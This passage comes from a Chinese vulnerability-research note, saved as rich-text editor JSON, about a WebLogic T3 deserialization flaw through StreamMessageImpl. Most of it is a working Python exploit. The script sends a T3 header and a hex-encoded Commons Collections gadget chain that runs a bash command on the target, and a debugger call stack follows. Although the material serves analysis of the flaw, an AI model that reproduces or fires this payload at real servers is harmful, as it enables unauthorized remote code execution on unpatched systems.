构造T3协议头&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9t5o-1673857235175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1KG3-1673857235174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data1 = &#39;000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vnyA-1673857235177&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dv3W-1673857235176&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data2 = &#39;007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07&#39;.format(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tbYv-1673857235179&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9wqC-1673857235178&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            &#39;{:04x}&#39;.format(dport))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sfLR-1673857235181&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;icRo-1673857235180&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data3 = &#39;1a7727000d3234322e323134&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jlw6-1673857235183&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5s5B-1673857235182&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        data4 = &#39;2e312e32353461863d1d0000000078&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bMHw-1673857235185&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QzcO-1673857235184&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        for d in [data1, data2, data3, data4]:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dQih-1673857235187&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GXnZ-1673857235186&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            sock.send(bytes.fromhex(d))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;w8yK-1673857235189&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RrfD-1673857235188&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = &#39;056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DUU1-1673857235191&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nniU-1673857235190&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;04UU-1673857512271&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yxNQ-1673857512269&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # -------- 经StreamMessageImpl封装的反序列化利用链payload --------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BDax-1673857397817&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZgQK-1673857397816&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += &#39;aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nn0a-1673857235199&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kKku-1673857235198&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yUpm-1673857514790&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AyuY-1673857514788&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        # ------------------------------------------------------&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Gtsb-1673857460936&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qET4-1673857460934&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload += &#39;fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff&#39;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K77i-1673857235201&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JwTs-1673857235200&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        payload = &#39;%s%s&#39; % (&#39;{:08x}&#39;.format(len(payload) // 2 + 4), payload)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wij5-1673857235203&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bLQx-1673857235202&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sock.send(bytes.fromhex(payload))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EsgX-1673857235205&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aDOx-1673857235204&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        time.sleep(delay)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kjsw-1673857235207&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wkpC-1673857235206&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gett-1673857235209&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;twNr-1673857235208&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            res = sock.recv(4096)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8HG2-1673857235211&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IrBc-1673857235210&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            print(res)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oySx-1673857235213&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tEUJ-1673857235212&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return b&#39;weblogic.jms.common.StreamMessageImpl&#39; in res, {&#39;msg&#39;: &#39;finish.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mX2G-1673857235215&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;A7gH-1673857235214&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        except socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dh5R-1673857235217&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bEV7-1673857235216&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tGmf-1673857235219&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S8NE-1673857235218&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tT84-1673857235221&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;B1Bb-1673857235220&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;if __name__ == \&#34;__main__\&#34;:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oWPD-1673857235223&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HVXG-1673857235222&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ip = \&#34;127.0.0.1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;shQl-1673857235225&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nFn8-1673857235224&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    port = 7001&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rnBz-1673857235227&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0OXI-1673857235226&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    light_up(dip=ip,dport=port)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;go&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7NEm-1673857548383&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5146/WEBRESOURCE2052105f36885e9f6fc0049a07cc5e08&#34;,&#34;width&#34;:1594,&#34;height&#34;:258},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WenO-1673857524118&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2NKN-1673857524117&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;跟一下代码：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QMkj-1673859739927&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rkAa-1673859739885&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4sek-1673859739884&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readExternal:1396, StreamMessageImpl (weblogic.jms.common)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jyNS-1673859739889&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2C6M-1673859739887&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readExternalData:1835, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VdSC-1673859739891&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AGJJ-1673859739890&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readOrdinaryObject:1794, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m1iD-1673859739893&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W6pI-1673859739892&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject0:1348, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1zw7-1673859739895&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v65q-1673859739894&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:370, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;adqS-1673859739897&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eDoT-1673859739896&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:66, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v0iL-1673859739900&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2AK5-1673859739898&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read:38, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XlTr-1673859739902&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LegQ-1673859739901&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Dzck-1673859739904&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gYIB-1673859739903&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;init:213, MsgAbbrevInputStream (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VGCO-1673859739906&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UUD6-1673859739905&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fpuV-1673859739908&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JvaM-1673859739907&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jyyd-1673859739910&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sWeN-1673859739909&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7goy-1673859739912&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yYra-1673859739911&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocketOnce:967, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cF9H-1673859739914&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eUv5-1673859739913&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocket:899, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PVbM-1673859739916&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zFms-1673859739915&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;processSockets:130, PosixSocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ynlh-1673859739918&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fw1o-1673859739917&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:29, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UIwT-1673859739920&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;M5GU-1673859739919&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:42, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PVRQ-1673859739922&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MUTz-1673859739921&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:145, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NQGz-1673859739924&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fTbn-1673859739923&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:117, ExecuteThread 